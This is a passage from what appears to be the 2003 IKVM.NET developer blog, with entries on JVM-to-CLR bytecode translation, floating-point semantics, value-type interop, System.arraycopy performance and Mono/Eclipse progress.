  6. Having an intellectual and affective artistic content that depends solely on intrinsic form rather than on narrative content or pictorial representation: abstract painting and sculpture.

I always thought that the abstract in AWT referred to meaning 4, which is closest to our programmer definition, but maybe the joke's on us and did the original designers (and I use the term loosely) of AWT have meanings 2, 3 and 6 in mind ;-)

As you probably guessed from the above, I did a little work on AWT support. Here are two trivial test apps that I got working:


AwtTest.java. Getting FontMetrics, Graphics and Frame insets working. 

 
FlowLayoutTest.java. Button, TextField, Label, Panel, FlowLayout and BorderLayout. Also helped me figure out how ambient properties (don't) work.

Please note that only a very small percentage of AWT is implemented at the moment, so don't expect any useful applications to actually work.

What else is new?

  • ikvmc now uses local variable name debugging information (if available) to name method arguments.
  • Updated to work with current GNU Classpath CVS.
  • Added SO_TIMEOUT and SO_REUSEADDR support to PlainDatagramSocketImpl.

BTW, the included classpath.dll contains a few Classpath AWT patches that haven't been committed to Classpath CVS yet.

Updated the binaries and source snapshots.

7/21/2003 2:13:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, July 10, 2003

Benchmarks, strictfp and other floating point stuff

Mark Wielaard did some benchmarks of some of the free JVMs available.

I noted on the Classpath mailing list that the IKVM floating point performance is probably overstated, because IKVM doesn't implement FP correctly. It uses the .NET framework FP instructions and methods and those in turn are implemented using the x86 FP instructions.

The original JVM specification was very strict in specifying floating point operations. Basically, it mapped 100% onto the Sparc floating point model and this caused spec compliant FP code to be slow on Intel. I don't think any of the early VMs correctly implemented the spec so this wasn't really a problem. I don't know why early the VM implementers didn't implement the spec, maybe they felt the performance cost was too high or maybe they just didn't find it an interesting issue (the "problem" is that the Intel FP results are actually too accurate).

In JDK 1.2 Sun introduced the strictfp keyword and corresponding JVM method and class access flag. Interestingly, they loosened the default FP requirements and specified the original FP behavior for methods (or classes) marked with the strictfp keyword.

IKVM doesn't implement strictfp at the moment, but this isn't the whole story. For trigonometric* functions (e.g. Math.sin()) IKVM uses the equivalent .NET Math functions and those are (probably) implemented using the x86 FP instructions and these are not compliant with the JVM specification and I think that in this case the Intel instructions are not more accurate than required, but actually less accurate. So this is a real problem that should be fixed at some point in the future.

*This probably also applies to other Math functions, like Math.exp, Math.log, Math.sqrt, etc.

7/10/2003 11:08:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 19, 2003

One Year Ago Today

It's been exactly one year since I started blogging about the development of IKVM.NET. I actually started development about a month earlier on the 22nd of May.

To celebrate this, I've created a time-line of significant (or interesting) events that happened in the past year.

2002-05-22

Started development on a project called "bytecode". I started by porting my Java class file reader from Java to C#.

2002-06-19

Started my IK<<VM.NET Radio weblog about "The Development of a Java VM for .NET"

2002-06-27

"Hello, World!" runs for the very first time. Replaced the << in the name with a dot, because Radio doesn't escape the title properly.

2002-08-07

First version of netexp is released. Java code can now directly use .NET types.

2002-08-12

The static compiles makes its appearance. For the first time the binary snapshot contains a statically compiled classpath.dll.

2002-09-03

Very basic AWT support is introduced.

2002-09-09

Class loader support makes its first appearance.

2002-10-25

James runs!

2002-11-01

Zoltan Varga starts to work on getting IKVM to run on Mono.

2002-12-19

Created the IKVM.NET SourceForge project. Dropped the first dot from the name.

2002-12-28

Eclipse starts up!

2003-01-17

Zoltan Varga gets IKVM to run HelloWorld on Mono.

2003-03-13

Moved blog from Radio to BlogX.

2003-04-05

Added support for using value types from Java.

2003-05-10

Zoltan Varga gets IKVM to run Eclipse on Mono.

2003-06-19

The IKVM.NET blog celebrates its first birthday.

Thanks to everyone who contributed to IKVM.NET in the past year. It's been great fun and I hope the coming year will be as productive as this past year has been.

6/19/2003 11:22:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Monday, June 02, 2003

Invokespecial

One of the more interesting bytecode instructions is invokespecial. During Java's early days this instruction was called invokenonvirtual, but in JDK 1.0.2 it was renamed to invokespecial to indicate it has some very special semantics.

Invokespecial is used in three ways, to call instance initializers (constructors),  to call base class methods non-virtually and to call private methods. It's worth mentioning that, unlike the CLR call instruction, invokespecial cannot be used to call arbitrary methods, it can only call methods in the current class or in a base class of of the current class (and then only on references of the type of the current class, or subclasses of it). The JVM's invokevirtual is very similar to the CLR's callvirt instruction. In addition to invokespecial and invokevirtual, the JVM also has invokestatic and invokeinterface to invoke static methods and interface methods, respectively. The CLR has no special instructions for that, it uses the call and callvirt instructions to call static and interface methods.

Prior to JDK 1.1, invokespecial called the exact method specified in the instruction. In JDK 1.1 this behavior was changed, because it caused versioning problems. Here is an example of what could go wrong:

Component A - version 1

public class GrandParent {
  protected void myMethod() {
    // ...
  }
}
public class Parent extends GrandParent {
}

Component B

public class Child extends Parent {
  protected void myMethod() {
    // ...
    super.myMethod();
  }
}

The compiler would compile the super.myMethod() call in Child to invokespecial GrandParent.myMethod(). Now suppose a new version of Component A is released:

Component A - version 2

public class GrandParent {
  protected void myMethod() {
    // ...
  }
}
public class Parent extends GrandParent {
  protected void myMethod() {
    // ...
    super.myMethod();
  }
}

When Component B is used (without recompiling) with this new version of Component A, the super.myMethod call in Child will still go directly to GrandParent.myMethod and this is probably not what the author of Component A had intended.

To fix this, invokespecial was changed to search the class hierarchy if the called class is a base class of the caller (from the caller's base class on up), but only if the caller's class has the ACC_SUPER bit set in the class' access_flags mask. All Java compilers since JDK 1.1 always set the ACC_SUPER flag. It's interesting to note that the current Sun JRE 1.4.1 still honors a cleared ACC_SUPER flag.

Why doesn't the CLR have an equivalent of the ACC_SUPER flag? The reason is that it isn't needed. When, for example, the C# compiler compiles a base method call, it emits a call instruction to the immediate base class of the caller, even if that class isn't the one that implements the called method[1]. When the JIT is resolving the call it searches up the class hierarchy to find the actual method.

Comparison JVM and CLR call instructions

JVM

CLR

Notes

invokespecial

call

invokespecial checks the object reference for null, call doesn't.

invokevirtual

callvirt

invokeinterface

callvirt

Like in other places where the JVM consumes interface references, the object reference doesn't have to statically implement the called interface type.

invokestatic

call

One final issue relevant to IKVM here is that invokespecial requires the object reference to be checked for null, the CLR call instruction doesn't do this (for this reason the C# compiler uses callvirt when calling non-virtual methods, except when explicitly calling a base class method of course, it always makes sure the object reference isn't null). The IKVM compiler has to insert an explicit check for null references when it is compiling invokespecial. It took me a while to come up with an efficient way of doing this. Javac faces a similar issue when it compiles the explicit instantation of an inner class:

public class Foo {
  public class Inner {}
  static void method() {
    // next line throws a NullPointerException
    ((Foo)null).new Inner();
  }
}

Why does this throw a NullPointerException? The answer may be surprising, but it is because Javac inserts a call to ((Foo)null).getClass() to make it throw a NullPointerException if the outer this is null. If it didn't do this, you'd run into a NullPointerException later on when one of Inner's methods tried to use the outer this and this would be a very surprising and hard to find bug. However, I didn't want to use this trick because it isn't particularly efficient. What I came up with is the following trick:

ldvirtftn instance string System.Object::ToString()
pop

The JIT compiles this to:

mov   eax,dword ptr [ecx]
mov   eax,dword ptr [eax+28h]

If the reference in question is null, the first instruction causes an x86 trap that the CLR translates into a NullReferenceException. The second instruction is overhead and hopefully a future version of the JIT will stop emitting it, but it isn't very expensive anyway.

Note to self: Consider adding an optimization to the IKVM compiler to detect Javac's null reference check:

invokevirtual java/lang/Object.getClass()
pop

and replace it with the more efficient ldvirtftn based check above. This could actually be an important optimization, because getClass() on IKVM is pretty expensive.

[1] When the base classes are in the same module, the C# actually emits a call to the class the defines the method, instead of to the direct base class. This is an optimization, because it saves the JIT from having to search for the method in the class hierarchy. When all classes are in the same module, there obviously aren't any versioning issues, since the module is always built as one unit.

6/2/2003 5:56:11 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 30, 2003

Update

After a long hiatus, finally another update. Many changes, mostly clean up. I moved some of the custom attributes to a new assembly OpenSystem.Java.dll. Hopefully this will be useful for the dotGNU Java compiler.

I made new source and binaries snapshots available, these are based on the current GNU Classpath cvs code + one patch.

5/30/2003 2:17:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Redmond

Like Ingo, I'll be in Redmond on the 25th and 26th of June. Anyone else?
5/30/2003 8:51:15 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, May 10, 2003

Eclipse on Mono

Zoltan Varga just posted the following to the ikvm-developers list:

Hi,

I got Eclipse running under IKVM under Mono. A screenshot, Makefiles etc. can be found here:

http://www.nexus.hu/vargaz/

The port uses a JNI provider written in C which works with mono. Eclipse startup up+shuts down in about 1 minute on an 1Ghz PC, while consuming about 90MB of memory. It works with Mono 0.24 and current mono CVS.

I made some modifications to IKVM which are in the attached patch.

Could they be applied to the official version?

The modifications are:

- ikvm.build: fix case of directory names

- ClassLoaderWrapper.cs: Create Assemblies with Run flag, so the

runtime can apply some memory saving optimizations.

- TypeWrapper.cs: Cache field lookups

- classpath.cs: Make shared library loading work under UNIX

There is one other issue: Mono does not yet support the

GetLoadedModules() method, so this has to be commmented out in classpath.cs and in Handler.java.

BTW: The IBM RVM project includes a nice JNI testsuite:

http://www-124.ibm.com/developerworks/oss/jikesrvm/

The Mauve test status of mono:

191 of 7294 tests failed

Would it be possible to post the Mauve test results of IKVM somewhere (with -verbose) so I can compare it to the Mono version?

have fun

Zoltan

Wow! This is great news.

5/10/2003 1:33:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 09, 2003

Class.forName()

Stuart asks:

Can IKVMC handle Class.forName if the target class is in an assembly that isn't directly referenced by the assembly making the call?

Yes, but then you have to specify the assembly qualified name of the class. For example:

Class.forName("System.Windows.Forms.Form, " +
    "System.Windows.Forms, " +
    "Version=1.0.3300.0, " +
    "Culture=neutral, " +
    "PublicKeyToken=b77a5c561934e089");

Another alternative, when the class hasn't been compiled to an assembly, is to instantiate a class loader and use that to load the class:

URL[] classpath = new URL[1];
classpath[0] = new URL("...");
ClassLoader loader = new URLClassLoader(classpath);
Class clazz = loader.loadClass("...");

Currently, when ikvm.exe isn't used to start your application you don't have an application class loader that loads classes from the directories specified in the CLASSPATH environment variable.

5/9/2003 11:16:56 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, April 28, 2003

DotGNU & New Snapshot

Saturday I joined the DotGNU IRC meeting to discuss their Java support. We decided to make sure that our efforts will be interoperable.
They are working on a Java source to IL compiler and this complements IKVM's byte code to IL compiler nicely. We'll be working together to create a standard format for remapping Java classes to .NET classes and define custom attributes to express Java semantics that don't map directly onto the .NET standard attributes.

I made new source and binaries snapshots available. Not many changes:

  • invokespecial byte code now checks for null references before calling the method. I intend to write an item on invokespecial in the future, because it is quite an interesting instruction with a bit of a history.
  • Improved method overriding handling for methods that are less accessible than the method they override. Java allows this, but .NET doesn't. It is handled by giving the overriding method the same (or better) accessibility as the overriden method.
    IMHO this is a design flaw in the CLR, because it makes it a breaking change to widen the access of a virtual method in a new version of a type.
  • Improved ikvmc's handling of -recurse and added wildcard support to file arguments.
4/28/2003 10:54:39 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, April 25, 2003

Feedback

Stuart posted a nice comment:

Well, I now am a legitimate happy IKVM user.

I just found myself in a situation where I wanted to be able to call nrdo code (nrdo is a Java tool for database access, http://nrdo.sab39.org/) from a web application, that also had to read its input files from a windows machine. The individual parts of that aren't a problem: nrdo is reasonably well librarified so it's perfectly possible to call it from a web application, and it's perfectly possible to run Java code on windows (indeed, that's how our normal development is done).

But we don't have any windows machines running any Java application servers, and spawning a Java process from inside ASP.NET didn't appeal very much :)

It's funny how I've been following IKVM for a while but it still took ages before the obvious solution hit me. I compiled a nrdo.dll (okay, this took me longer than I thought because the -recurse option to ikvmc didn't do what I thought it would and neither did path\*.class), created an ASP.NET web application in Visual Studio, added references to classpath.dll, nrdo.dll and ik.vm.net.dll, and started typing.

It was a seriously schizophrenic experience (but in a good way!). I don't normally use an IDE for Java coding so it was the first time I'd ever seen intellisense for my nrdo libraries. And you can get seriously confused as to which language you're using when you write C# code that looks like this:

using java.util;

for (Iterator i = myList.iterator(); i.hasNext(); ) {
MyThing foo = (MyThing) i.next();
foo.something();
}

But it worked, and it took me about an hour to solve what I'd expected to be a pretty complex problem. The schizophrenic aspect is just an artefact of IKVM being really, *really* good at its job!

Thanks! Patches to make ikvmc more intuitive are always welcome of course ;-)

4/25/2003 8:53:56 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, April 14, 2003

Snapshot

I checked in my value type changes, along with a bunch of other changes and made new snapshots.

Here are the highlights:

  • (limited) support for using value types
  • support for calling methods with ByRef arguments
  • better support in map.xml for redirecting to Java classes
  • moved parts of StringHelper & ObjectHelper from C# to Java
  • updated to be compatible with current Classpath cvs

Source and binaries snapshots are in the usual locations.

4/14/2003 12:32:48 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, April 11, 2003

More value type feedback

Stuart Ballard commented on yesterday's entry:

I definitely think these changes should be included.

As I understand it, without them it is impossible to use C# structs, enums and other value types in Java code at all, and also impossible to call methods which require ref or out parameters.

This is correct (except that enums were already usable from Java, they are visible as classes containing public static final int fields and arguments are just int arguments).

To me this scenario is very disappointing - the dream of IKVM, for me, was to see Java as a first-class .NET language while still remaining "true java". Eliminating support for value types and reference arguments clashes with the first of these goals; requiring a hacked compiler violates the second.

I'd even go so far as to ask whether it would be possible to actually *write* a "struct" in java, along the lines of the following:

public class JavaStruct extends system.ValueType {
int structMember;
}

Presumably it would be possible for ikvm to detect classes that inherit from ValueType and compile them as structs rather than classes...

I briefly considered it, but dismissed it at the time because I didn't need it. You've convinced me to take another look at this.

To summarize, not only do I think this is cool functionality (even if the implementation *is* a little bit of a hack) I think it's extremely important functionality and I'd like to see further fine-tuning of the "hack" and further enhancements to the functionality, rather than leaving it out entirely.

The reason I didn't comment earlier, though, is that I don't really have any right to comment, as I don't actually use IKVM at all (although I may in the future to save my co-developers from downloading the JRE to run a single java program). I'm only commenting now to provide at least some positive feedback on the idea of checking it in, so that you don't throw it out on the basis that nobody thinks it's valuable (although of course I fully respect your right to throw it out for any other reason).

Thanks for commenting, I really appreciate it! I will go ahead and polish up the changes and check them in.

4/11/2003 1:16:11 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, April 10, 2003

More on value types

David Jeske commented on the previous entry

Can ValueType local variables be treated as ValueTypes instead of pointers to ValueTypes? If this were the case, then av[1] could be the pointer to the interior of the valuetype array, and av[1].foo = 42; would work correctly. This would also make the IL for using local ValueType variables most similar to how it would turn out if it had been C#.

The boxing/unboxing would only occur when coercing/converting from a local variable of a ValueType to a ReferenceType (i.e. Object foo = v; )

Remember that I'm working with a standard Java compiler. All the value type support is in the byte code to CIL compiler, because of this I wanted to stay as close to the Java semantics as possible, to prevent problems caused by Java compiler differences (there really isn't any guarantee that local variables in the source end up as local variables in the byte code). Also, the current design a lot easier to implement ;-)

Having said that, treating locals as value types still wouldn't allow av[1].foo = 42; to work. This would require the aaload instruction to return a pointer to the array element, in itself this isn't hard but the introduction of pointers would complicate the type system greatly.

Ultimately, the reason I added this (limited) value type support, is to enable me to write more "native" Java methods in Java. I haven't checked in these changes and I'm still not sure that doing so would be a good idea. Without Java compiler support it will always be a hack.

4/10/2003 12:26:21 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Saturday, April 05, 2003

Value Types & Reference Arguments

I've added experimental support for using value types and reference arguments in Java. The challenge is to do this without having to build a new Java compiler.

Here is a value type I constructed in C# for testing purposes:

public struct ValType {

  public int foo;

 

  public ValType(int f) {

    foo = f;

  }

 

  public override string ToString() {

    return "ValType:" + foo;

  }

 

  public static void Increment(ref ValType v) {

    v.foo++;

  }

}  

Here is a Java example that uses value types and calls a method with a reference argument:

import system.DateTime;

 

class ValTest {

  static DateTime dt;

 

  public static void main(String[] args) {

    ValType v = new ValType(0);

    v.foo = 42;

    System.out.println(v);

 

    ValType[] av = new ValType[1];

    av[0] = v;

    ValType.Increment(av);

    System.out.println(av[0]);

 

    dt = DateTime.get_Now();

    DateTime d = new DateTime(0);

    d = AddDay(d);

    System.out.println(d);

    System.out.println(dt);

  }

 

  private static DateTime AddDay(DateTime dt) {

    return dt.AddDays(1);

  }

}

How is this code compiled? Whenever a value type is loaded from a field or array, instantiated or returned from a method it is boxed. Local variables are references to boxed instances of the value type. When a boxed value type instance is assigned to a field, stored in an array or passed to a method, it is unboxed. Referenced method arguments are exported by NetExp as arrays.

Let's look at a few examples:

    ValType v = new ValType(0);

Is compiled as:

ldc.i4.0

newobj     instance void ValType::.ctor(int32)

box        ValType

stloc.0

The local variable v is of type object and contains a reference to the boxed value.

    v.foo = 42;

Assigning a field in the boxed value:

ldloc.0

ldc.i4.s   42

stloc.1

unbox      ValType

ldloc.1

stfld      int32 ValType::foo

After loading the reference to the boxed value, the constant (42) gets stored in a temporary local and then reference gets unboxed, this leaves a managed pointer to the interior of the boxed value on the stack and the stfld instruction uses this pointer to set the field.

    av[0] = v;

Setting an array element:

ldloc.2

ldc.i4.0

ldloc.0

stloc.3

ldelema    ValType

ldloc.3

unbox      ValType

ldobj      ValType

stobj      ValType

The address of element 0 of the array is loaded, v is unboxed and copied into the array.

    ValType.Increment(av);

Calling a method with a reference argument:

ldloc.2

stloc.s    V_4

ldloc.s    V_4

ldc.i4.0

ldelema    ValType

call void ValType::Increment(valuetype ValType&)

The Java code passes an array and the byte code to CIL compiler takes the address of the first element of the array and passes that to the method. BTW, if the array is of length zero, ldelema throws a System.IndexOutOfRangeException.

Pros and Cons of this Approach

The advantage of enabling value type of reference arguments are that it is easier to leverage .NET framework code from within Java code (targetted at IKVM.NET) and it enables me to write more glue code in Java.

The downside is the non-intuitive behavior. Compare these two lines:

    v.foo = 42;

    av[0].foo = 42;

The first line does what you'd expect, it assigns 42 to the field foo of the boxed value type. However, the second line has no effect, because it results in a boxed copy being loaded from the array, that boxed copy's field foo is assigned the value 42, but it is not copied back into the array. This also applies to fields, only local variables contain boxed value types and can be manipulated safely.

Finally, a small problem with arrays of value types is that the Java compiler will happily compile:

    Object[] array = new ValueType[1];

Obviously this isn't legal.

I'd like to get feedback from people who either like or dislike this new functionality. Of course, any ideas for alternative approaches would be most welcome too.

4/5/2003 4:03:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, March 31, 2003

Sockets

I completed most of the Socket code and fixed a few bugs. Mauve results (with current Classpath CVS code): 172 of 7707 tests failed.

I updated to BlogX rev 20 and this means that the RSS will now contain xhtml:body (for the new entries). Chris says: "So, if you favorite aggregator isn't showing the full text of my blog, send them a mail and get them to support <xhtml:body>!"

I've updated the source and binaries snapshots
3/31/2003 5:06:44 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, March 19, 2003

System.arraycopy

At first sight, it might seem that System.arraycopy is not a very interesting method, but once you dig into it, it turns out to be an interesting case study.

.NET has a very similar method Array.Copy and one of its overloads has the exact same signature as its Java cousin, but throws slightly different exceptions and there is a tiny difference in behavior. So an initial naïve implementation of System.arraycopy would look as follows:

public static void arraycopy(object src, int srcStart,
       object dest, int destStart, int length) {
    try {
        Array.Copy(src, srcStart, dest, destStart, length);
    } catch(ArgumentNullException) {
        throw new NullReferenceException();
    } catch(ArgumentException) {
        throw new ArrayIndexOutOfBoundsException();
    } catch(ArrayTypeMismatchException) {
        throw new ArrayStoreException();
    } catch(InvalidCastException) {
        throw new ArrayStoreException();
    }
}

This works fairly well, but it has two problems. The first problem is that it is too powerful. Array.Copy allows widening conversions for primitive types. This means, for example, that it is possible to copy a byte array to an int array. Java doesn’t allow this. The second problem is more subtle, Javadocs for System.arraycopy say:

“Otherwise, if any actual component of the source array from position srcPos through srcPos1 cannot be converted to the component type of the destination array by assignment conversion, an ArrayStoreException is thrown. In this case, let k be the smallest nonnegative integer less than length such that src[srcPosk] cannot be converted to the component type of the destination array; when the exception is thrown, source array components from positions srcPos through srcPosk-1 will already have been copied to destination array positions destPos through destPosk-1 and no other positions of the destination array will have been modified.”

In other words, if an ArrayStoreException is thrown, all elements prior to the one that failed are copied. In contrast to this, the .NET documentation for Array.Copy says:

“If this method throws an exception while copying, the state of destinationArray is undefined.”

So to be strictly correct, we cannot rely on Array.Copy to implement copying of reference arrays that might throw an exception during copying. Here is a better implementation of System.arraycopy:

public static void arraycopy(object src, int srcStart,
       object dest, int destStart, int length) {
    // fast path if source and destination are same
    if(src != dest) {
        Type type_src = src.GetType();
        Type type_dst = dest.GetType();
        // fast path if arrays are of identical type
        
if(type_src != type_dst) {
            if(len < 0) {
                throw newArrayIndexOutOfBoundsException();
            }
            try {
                Object[] src1 = (Object[])src;
                Object[] dst1 = (Object[])dest;
                for(; len > 0; len--) {
                    dst1[destStart++] = src1[srcStart++];
                }
            } catch(InvalidCastException) {
                throw JavaException.ArrayStoreException();
            }
        }
    }
    try {
        Array.Copy((Array)src, srcStart,
                   (Array)dest, destStart, length);
    } catch(ArgumentNullException) {
        throw new NullReferenceException();
    } catch(ArgumentException) {
        throw new ArrayIndexOutOfBoundsException();
    } catch(InvalidCastException) {
        throw new ArrayStoreException();
    }
}

I think this is a correct implementation of System.arraycopy. It’s still not perfect though, because it turns out to be really slow. Here is a small benchmark:

class arraycopy {
    public static void main(String[] args){
        test(10, 10000000);
        test(100, 1000000);
        test(1000, 100000);
    }

    private static void test(int size, int count) {
        int[] a = new int[size];
        int[] b = new int[size];
        long start = System.currentTimeMillis();
        for(int i = 0; i < count; i++) {
            System.arraycopy(a, 0, b, 0, a.length);
        }
        long end = System.currentTimeMillis();
        System.out.println(end - start);
    }
}

Here are the results for the JDK 1.1 Symantec JIT, JRE 1.4.1 HotSpot Client VM and IKVM running on .NET 1.0:

Symantec

JRE 1.4.1

IKVM

10

1012

2343

12127

100

340

531

1402

1000

120

310

340

It’s obvious that for small arrays, the overhead is really large. The reason this is so much slower than the Java version is probably because of the cost of the call to GetType combined with the extra checking going on inside Array.Copy. If Sun had only provided overloaded versions of System.arraycopy for each type of primitive array, we wouldn’t need to do so much type checking! It turns out that even without these overloads we can still get the same result (in many cases), because the verifier often knows the types of the arguments. In compiles.cs I added some code to the invokestatic handler to check for invocations of System.arraycopy and if the array arguments are known to be primitive arrays, the call gets redirected to a more efficient arraycopy implementation.

Here is where the call to System.arraycopy in the above benchmark gets redirected to:

public static void arraycopy_primitive_4(Array src,
       int srcStart, Array dest, int destStart, int len) {

    try {

        checked {

            Buffer.BlockCopy(src, srcStart << 2,
                       dest, destStart << 2, len << 2);

            return;

        }

    } catch(ArgumentNullException) {

        throw new NullReferenceException();

    } catch(OverflowException) {

        throw new ArrayIndexOutOfBoundsException();

    } catch(ArgumentException) {

        throw new ArrayIndexOutOfBoundsException();

    }

}

No more calls to GetType and no more casts to Array are required. In addition, since we know that the arrays are both of the same primitive type, we can use the more efficient Buffer.BlockCopy instead of Array.Copy.

Here are the performance results for the new implementation:

Symantec

JRE 1.4.1

IKVM

10

1012

2343

1713

100

340

531

381

1000

120

310

230

Obviously a worthwhile improvement. For completeness, here are the performance results for doing the arraycopy with a simple for loop (i.e. in a modified version of the benchmark that doesn't call System.arraycopy , but instead has simple simple method that copies the array using a for loop):

for(; len > 0; len--)
    src[srcStart++] = dest[destStart++];

Symantec

JRE 1.4.1

IKVM

10

1853

2724

1522

100

1542

2444

1162

1000

1532

2363

1131

3/19/2003 6:00:14 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, March 17, 2003

Cobol

On the ikvm-developers list, Brian Sullivan reported that he had partial success with running a Cobol application (compiled with PERCobol to a Java jar) under ikvm.

The exception was caused by some missing org.xml.sax.* classes.

In unrelated news, I checked in several changes and made new source and binaries snapshots.

3/17/2003 3:20:43 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, March 13, 2003

Welcome on the other side

Like many before me, I finally grew tired of Radio and so I've migrated to BlogX by Chris Anderson. All I need now is an rss aggregator, preferably ASP.NET based.

3/13/2003 2:28:06 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, March 03, 2003

Hello Mono (2)

C:\>mono --noinline --share-code c:\ikvm\bin\ikvm.exe hello
** Warning **: cannot find C:\cygwin\home\lalo\go-mono\install\
etc\mono\machine.config
Trying to load app config file...
Hello World

The latest ikvm binaries together with Mono 0.21 now run Hello World!

Many thanks to everyone at Ximian, the Mono contributors and especially Zoltan Varga!

The --noinline and --share-code options are needed to work around a bug in the current Mono JIT that cause it to call the class constructors to eagerly.

I've updated the source and binaries snapshots.

3/3/2003 11:57:22 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, February 28, 2003

Undefined behavio[u]r

While fixing bugs in ikvm to get more Mauve tests working (BTW, current results: 224 of 7584 tests failed), I ran across a small but interesting difference between Java and C# (and the underlying bytecodes) in converting floating point numbers to integers.

Java code:

class Test {
  public static void main(String[] args) {
    float f = Integer.MIN_VALUE;
    f -= 5;
    System.out.println((
int)(f + 0.5f));
  }
}

Java output: -2147483648 (= Integer.MIN_VALUE)

C# code:

class Test {
  static void Main() {
    float f = int.MinValue;
    f -= 5;
    System.Console.WriteLine((
int)(f + 0.5f));
  }
}

C# output (release build): 2147483644
C# output (debug build): -2147483647

It turns out that the CIL instruction conv.i4 returns an undefined value when the float value lies outside of the range representable by an 32 bit integer, unlike the JVM's f2i instruction which is defined to return either Integer.MIN_VALUE or Integer.MAX_VALUE in that case.

If you want your .NET code to run consistently, use the conv.ovf.i4 instruction that checks for overflow. In C# this can be done by using a checked block:

class Test {
  static void Main() {
    float f = int.MinValue;
    f -= 5;
    checked {
      System.Console.WriteLine((
int)(f + 0.5f));
    }
  }
}

Now, instead of returning an undefined value, the cast throws a System.OverflowException.

The JVM designers felt it was very important not to have any undefined or implementation defined behavior. One of the lessons learned from C and C++ is that whenever there is undefined or implementation defined behavior, code will be written that depends on the behavior of a particular platform/compiler. The JVM designers wanted to removed this source of portability problems.

However, they payed a price in performance for this. A well known example is the case of floating point performance (on x86), which was later "fixed" by relaxing the floating point specification and introducing strictfp. As Morpheus would say: "Welcome to the real world!" (Don Box claims everything in computing can be understood by watching The Matrix enough times).

Let's examine the performance of Java's f2i compared with .NET's conv.i4. Please note that the usual disclaimer wrt (micro) benchmarking applies.

Here is the loop I used:

float f = SOME_VALUE;
for(int i = 0; i < 10000000; i++) {
  int j = (int)f;
  f = j;
}

Timings:

 

 

SOME_VALUE

 

 

0

+Infinity

Sun JDK 1.1 (Symantec JIT)

Float

600 ms

2000 ms

Double*

800 ms

2300 ms

Sun J2RE 1.4.1 (Hotspot Client VM)

Float

600 ms

3800 ms

Double*

1100 ms

2600 ms

.NET 1.0

Float

500 ms

500 ms

Double*

800 ms

800 ms

.NET 1.0

(checked)

Float

800 ms

n/a

Double*

1200 ms

n/a

* For the double test, the value was cast to a long instead of an int.

Let's look at the code that the Symantec JIT uses to convert a float to an int:

01F543F0  ftst             
01F543F2  fldcw       word ptr ds:[1F5FB30h]
01F543F8  push        eax 
01F543F9  fistp       dword ptr [esp]
01F543FC  fldcw       word ptr ds:[1F5FB34h]
01F54402  pop         eax 
01F54403  cmp         eax,80000000h
01F54408  je          01F5440B
01F5440A  ret             
01F5440B  push        eax 
01F5440C  fnstsw      ax  
01F5440E  sahf            
01F5440F  pop         eax 
01F54410  jp          01F54416
01F54412  adc         eax,0FFFFFFFFh
01F54415  ret             
01F54416  xor         eax,eax
01F54418  ret             

When the JIT compiles an f2i bytecode, it emits a call to this function. I've never written any x87 code, so I'm going to have to make this up as I go. Let's look at each individual instruction:

01F543F0  ftst 

No idea what the purpose of this is.

01F543F2  fldcw       word ptr ds:[1F5FB30h] 

Presumably this is used to mask the invalid-arithmetic-operand exception (#IA) that is generated by FISTP when it encounters a value that cannot be represented as a 32 bit integer.

01F543F8 push eax 

Make room on the stack for the integer.

01F543F9 fistp dword ptr [esp] 

Convert value on the floating stack to integer and store on the regular stack in slot we just created.

01F543FC fldcw word ptr ds:[1F5FB34h] 

Restore the FPU control word to its normal Java setting.

01F54402 pop eax 

Load the integer we just created into EAX.

01F54403 cmp eax,80000000h

Is it the integer indefinite value? When the #IA exception is masked FISTP returns the integer indefinite value for floats that cannot be represented as a 32 bit integer.

01F54408 je 01F5440B 

If it was the integer indefinite value, continue executing at 01F5440B.

01F5440A ret 

If not, return.

01F5440B push eax 

Save the integer indefinite value.

01F5440C fnstsw ax 

Load the FPU status flags in AX.

01F5440E sahf 

Load AH into the CPU status flags.

01F5440F pop eax 

Recover the integer indefinite value.

01F54410 jp 01F54416 

If the parity flag is set, the original float was a NaN, so we jump to the code that clears EAX and returns.

01F54412 adc eax,0FFFFFFFFh 

If the carry flag is set, leave EAX unchanged (i.e. add zero) otherwise add -1. This is a clever way of turning 0x80000000 into either 0x80000000 or 0x7FFFFFFF.

01F54415 ret 

Return to the caller.

01F54416 xor eax,eax 
01F54418 ret

Set EAX to zero and return to the caller.

After analyzing this code, it's kind of surprising that the "exceptional" case (when the float lies outside of the representable range) is so much slower.

Conclusion: As usual there is no conclusion, but hopefully we learned something today ;-)

2/28/2003 11:56:00 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Saturday, February 15, 2003

Mauve

Zoltan has been working on running the Mauve testsuite on IKVM.NET running on Mono  and I've been doing the same on MS .NET.

Current status on MS .NET: 298 of 7338 tests failed
Current status on Mono: 143 of 3996 tests failed

Thanks to Mark for getting me started with Mauve and thanks to Zoltan for his excellent work on getting ikvm running on Mono.

2/15/2003 7:10:50 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, February 12, 2003

Getting Eclipse to run

In the comments of the previous item John asked for specific instructions to get Eclipse running.

  1. Download the most recent IKVM binaries (I just updated them).
  2. Download Eclipse. I use build M3.
  3. Unzip both zip files. Here I will assume that both are unzipped in the root of C:\ (the ikvm zip creates an ikvm directory and all the Eclipse files end up in an eclipse directory)
  4. Download eclipse.bat, save it in the eclipse directory.
